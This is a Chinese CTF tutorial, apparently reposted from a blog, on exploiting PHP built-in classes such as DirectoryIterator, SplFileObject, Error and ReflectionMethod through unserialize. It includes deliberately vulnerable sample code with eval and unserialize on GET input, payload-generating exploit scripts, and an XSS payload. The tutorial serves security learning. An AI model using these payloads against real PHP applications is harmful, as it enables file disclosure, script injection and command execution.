什么是php原生類
原生類就是php內(nèi)置類,不用定義php自帶的類,即不需要在當(dāng)前腳本寫出,但也可以實(shí)例化的類
我們可以通過腳本找一下php原生類
<?php
$classes = get_declared_classes();
foreach ($classes as $class) {
$methods = get_class_methods($class);
foreach ($methods as $method) {
if (in_array($method, array(
'__destruct',
'__toString',
'__wakeup',
'__call',
'__callStatic',
'__get',
'__set',
'__isset',
'__unset',
'__invoke',
'__set_state'
))) {
print $class . '::' . $method . "\n";
}
}
}
幾個(gè)ctf常用的php原生類?
遍歷文件目錄的類
DirectoryIterator 類
類介紹
?DirectoryIterator extends SplFileInfo implements SeekableIterator {
?? ?/* 方法 */
?? ?public __construct ( string $path )
?? ?public current ( ) : DirectoryIterator
?? ?public getATime ( ) : int
?? ?public getBasename ( string $suffix = ? ) : string
?? ?public getCTime ( ) : int
?? ?public getExtension ( ) : string
?? ?public getFilename ( ) : string
?? ?public getGroup ( ) : int
?? ?public getInode ( ) : int
?? ?public getMTime ( ) : int
?? ?public getOwner ( ) : int
?? ?public getPath ( ) : string
?? ?public getPathname ( ) : string
?? ?public getPerms ( ) : int
?? ?public getSize ( ) : int
?? ?public getType ( ) : string
?? ?public isDir ( ) : bool
?? ?public isDot ( ) : bool
?? ?public isExecutable ( ) : bool
?? ?public isFile ( ) : bool
?? ?public isLink ( ) : bool
?? ?public isReadable ( ) : bool
?? ?public isWritable ( ) : bool
?? ?public key ( ) : string
?? ?public next ( ) : void
?? ?public rewind ( ) : void
?? ?public seek ( int $position ) : void
?? ?public __toString ( ) : string ? ?// 以字符串形式獲取文件名
?? ?public valid ( ) : bool
}
可以看到這里有我門常見的__construct和__toString這里我們可以反序列化利用?
這里會(huì)創(chuàng)建一個(gè)指定目錄的迭代器。當(dāng)執(zhí)行到echo函數(shù)時(shí),會(huì)觸發(fā)DirectoryIterator類中的?
__toString()
?方法,輸出指定目錄里面經(jīng)過排序之后的第一個(gè)文件名
測(cè)試代碼
<?php
$a = new DirectoryIterator("/");
echo $a;
echo以字符串的形式輸入,會(huì)觸發(fā)?__toString()
以字符串的形式輸入根目錄的第一個(gè)文件名
?也可以結(jié)合glob協(xié)議進(jìn)行多目錄遍歷
<?php
$a = new DirectoryIterator("glob://f*");
echo $a;
?如果想顯示所有的文件可以用foreach函數(shù)來遍歷,比如
<?php
$a = new DirectoryIterator("/");
foreach($a as $f){
echo($f.'<br>');
}
?
?FilesystemIterator
?基本和DirectoryIterator一樣
GlobIterato
名字可以看出這個(gè)類是自帶glob協(xié)議的,所以不用再使用glob協(xié)議了例如
<?php
$a = new GlobIterator("/");
echo $a;
文件讀取類?
SplFileObject
當(dāng)用文件目錄遍歷到了敏感文件時(shí),可以用SplFileObject
類,同樣通過echo觸發(fā)SplFileObject
中的__toString()
方法。(該類不支持通配符,所以必須先獲取到完整文件名稱才行),而且這個(gè)方法只能讀一行
test1
<?php
error_reporting(0);
highlight_file(__FILE__);
class a{
public $key;
public $value;
public function __wakeup()
{
echo new $this->key($this->value);
}
}
unserialize($_GET['a']);
?>
這個(gè)反序列化沒有任何可以直接利用的魔法函數(shù),只有一個(gè)wakeup可以進(jìn)入
echo new $this->key($this->value);
構(gòu)造exp很簡(jiǎn)單,只需要讓key值賦為我們想得的原生函數(shù),value賦為路徑,查就完了但是這個(gè)方法的局限性就是只能查一個(gè)路徑上的第一個(gè)文件。
<?php
class xxh{
public $key;
public $value;
public function __wakeup()
{
echo new $this->key($this->value);
}
}
$a = new xxh();
$a->key="SplFileObject";
$a->value="./";
echo serialize($a);
?>
PHP 原生Error&Exception類(XSS實(shí)現(xiàn)與hash繞過)
Error內(nèi)置類
適用于php7
開啟報(bào)錯(cuò)的情況下
?Error類是php 的一個(gè)內(nèi)置類,用于自動(dòng)自定義一個(gè)Error ,在php7的情況下可能會(huì)造成一個(gè)xss漏洞,因?yàn)樗麅?nèi)置有一個(gè) __toString()方法,在ctf反序列化中,如果flag在cookie中可以嘗試?yán)肊rror去觸發(fā)__toString()
<?php
$a = unserialize($_GET['xxh']);
echo $a;
<?php
$a = new Error("<script>alert('1')</script>");
echo serialize($a);
?
?
?Excepthin 內(nèi)置類?
適用于 php5,7
開啟報(bào)錯(cuò)的情況下:
<?php
$a = unserialize($_GET['xxh']);
echo $a;
?exp
<?php
$a = new Error("<script>alert('1')</script>");
$b = serialize($a);
echo urlencode($b);
也可以成功彈窗
命令執(zhí)行
如果有eval的話就可以rce
<?php
$a = $_GET['a'];
$b = $_GET['b'];
eval("echo new $a($b());");
?>
??這就不限于Error函數(shù)了、
其他類
ReflectionMethod類
他本身具有的方法
class ReflectionMethod extends ReflectionFunctionAbstract implements Reflector {
/*方法*/
ReflectionMethod::__construct — ReflectionMethod 的構(gòu)造函數(shù)
ReflectionMethod::export — 輸出一個(gè)回調(diào)方法
ReflectionMethod::getClosure — 返回一個(gè)動(dòng)態(tài)建立的方法調(diào)用接口,譯者注:可以使用這個(gè)返回值直接調(diào)用非公開方法。
ReflectionMethod::getDeclaringClass — 獲取被反射的方法所在類的反射實(shí)例
ReflectionMethod::getModifiers — 獲取方法的修飾符
ReflectionMethod::getPrototype — 返回方法原型 (如果存在)
ReflectionMethod::invoke — Invoke
ReflectionMethod::invokeArgs — 帶參數(shù)執(zhí)行
ReflectionMethod::isAbstract — 判斷方法是否是抽象方法
ReflectionMethod::isConstructor — 判斷方法是否是構(gòu)造方法
ReflectionMethod::isDestructor — 判斷方法是否是析構(gòu)方法
ReflectionMethod::isFinal — 判斷方法是否定義 final
ReflectionMethod::isPrivate — 判斷方法是否是私有方法
ReflectionMethod::isProtected — 判斷方法是否是保護(hù)方法 (protected)
ReflectionMethod::isPublic — 判斷方法是否是公開方法
ReflectionMethod::isStatic — 判斷方法是否是靜態(tài)方法
ReflectionMethod::setAccessible — 設(shè)置方法是否訪問
ReflectionMethod::__toString — 返回反射方法對(duì)象的字符串表達(dá)
/*繼承的方法*/
final private ReflectionFunctionAbstract::__clone(): void
public ReflectionFunctionAbstract::getAttributes(?string $name = null, int $flags = 0): array
public ReflectionFunctionAbstract::getClosureScopeClass(): ?ReflectionClass
public ReflectionFunctionAbstract::getClosureThis(): object
public ReflectionFunctionAbstract::getDocComment(): string
public ReflectionFunctionAbstract::getEndLine(): int
public ReflectionFunctionAbstract::getExtension(): ReflectionExtension
public ReflectionFunctionAbstract::getExtensionName(): string
public ReflectionFunctionAbstract::getFileName(): string
public ReflectionFunctionAbstract::getName(): string
public ReflectionFunctionAbstract::getNamespaceName(): string
public ReflectionFunctionAbstract::getNumberOfParameters(): int
public ReflectionFunctionAbstract::getNumberOfRequiredParameters(): int
public ReflectionFunctionAbstract::getParameters(): array
public ReflectionFunctionAbstract::getReturnType(): ?ReflectionType
public ReflectionFunctionAbstract::getShortName(): string
public ReflectionFunctionAbstract::getStartLine(): int
public ReflectionFunctionAbstract::getStaticVariables(): array
public ReflectionFunctionAbstract::hasReturnType(): bool
public ReflectionFunctionAbstract::inNamespace(): bool
public ReflectionFunctionAbstract::isClosure(): bool
public ReflectionFunctionAbstract::isDeprecated(): bool
public ReflectionFunctionAbstract::isGenerator(): bool
public ReflectionFunctionAbstract::isInternal(): bool
public ReflectionFunctionAbstract::isUserDefined(): bool
public ReflectionFunctionAbstract::isVariadic(): bool
public ReflectionFunctionAbstract::returnsReference(): bool
abstract public ReflectionFunctionAbstract::__toString(): void
可以看到這里也有一個(gè)__toString函數(shù),也可以觸發(fā)反序列化漏洞?
ReflectionMethod 類中有很多繼承方法可以使用,比如這個(gè)?getDocComment()
?方法,我們可以用它來獲取類中各個(gè)函數(shù)注釋內(nèi)容
<?php
show_source(__FILE__);
class a
//flag{123}
public function a(){
}
}
$a = $_GET['a'];
$b = $_GET['b'];
$c= $_GET['c'];
$d=new $a($b,$c);
echo($d->getDocComment());
?>
?a=ReflectionMethod&b=a&c=b
利用原生類ReflectionMethod中的getDocComment()函數(shù)類讀取注釋
ZipArchive類
可以通過本類執(zhí)行一些文件操作,在CTF可以用來刪除waf
open(打開一個(gè)壓縮包文件)文章來源:http://www.zghlxwxcb.cn/news/detail-638005.html
$zip = new \ZipArchive;
$zip->open('test_new.zip', \ZipArchive::CREATE)
常用方法?文章來源地址http://www.zghlxwxcb.cn/news/detail-638005.html
ZipArchive::addEmptyDir:添加一個(gè)新的文件目錄
ZipArchive::addFile:將文件添加到指定zip壓縮包中
ZipArchive::addFromString:添加新的文件同時(shí)將內(nèi)容添加進(jìn)去
ZipArchive::close:關(guān)閉ziparchive
ZipArchive::extractTo:將壓縮包解壓
ZipArchive::open:打開一個(gè)zip壓縮包
ZipArchive::deleteIndex:刪除壓縮包中的某一個(gè)文件,如:deleteIndex(0)代表刪除第一個(gè)文件
ZipArchive::deleteName:刪除壓縮包中的某一個(gè)文件名稱,同時(shí)也將文件刪除
到了這里,關(guān)于PHP原生類的文章就介紹完了。如果您還想了解更多內(nèi)容,請(qǐng)?jiān)谟疑辖撬阉鱐OY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!